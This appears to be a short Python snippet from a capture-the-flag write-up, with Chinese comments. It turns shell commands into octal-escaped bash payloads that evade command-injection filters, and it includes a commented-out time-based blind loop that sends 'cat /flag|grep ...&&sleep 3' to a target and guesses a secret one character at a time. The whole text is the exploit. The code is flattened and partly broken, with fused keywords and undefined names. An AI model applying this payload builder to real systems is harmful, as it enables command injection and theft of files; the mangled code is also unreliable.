defstr_to_oct(cmd): #命令转换成八进制字符串 s = "" for t in cmd: o = ('%s' % (oct(ord(t))))[2:] s+='\\'+o return s
defbuild(cmd): #八进制字符串转换成字符 payload = "$0<<<$0\<\<\<\$\\\'"#${!#}与$0等效 s = str_to_oct(cmd).split('\\') for _ in s[1:]: payload+="\\\\" for i in _: payload+=n[int(i)] return payload+'\\\''
#盲注 #a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_{}@' # for i in range(1,50): # for j in a: # cmd=f'cat /flag|grep ^{f+j}&&sleep 3' # url = "http://ip/" # if get_flag(url,build(cmd)): # break # f = f+j # print(f)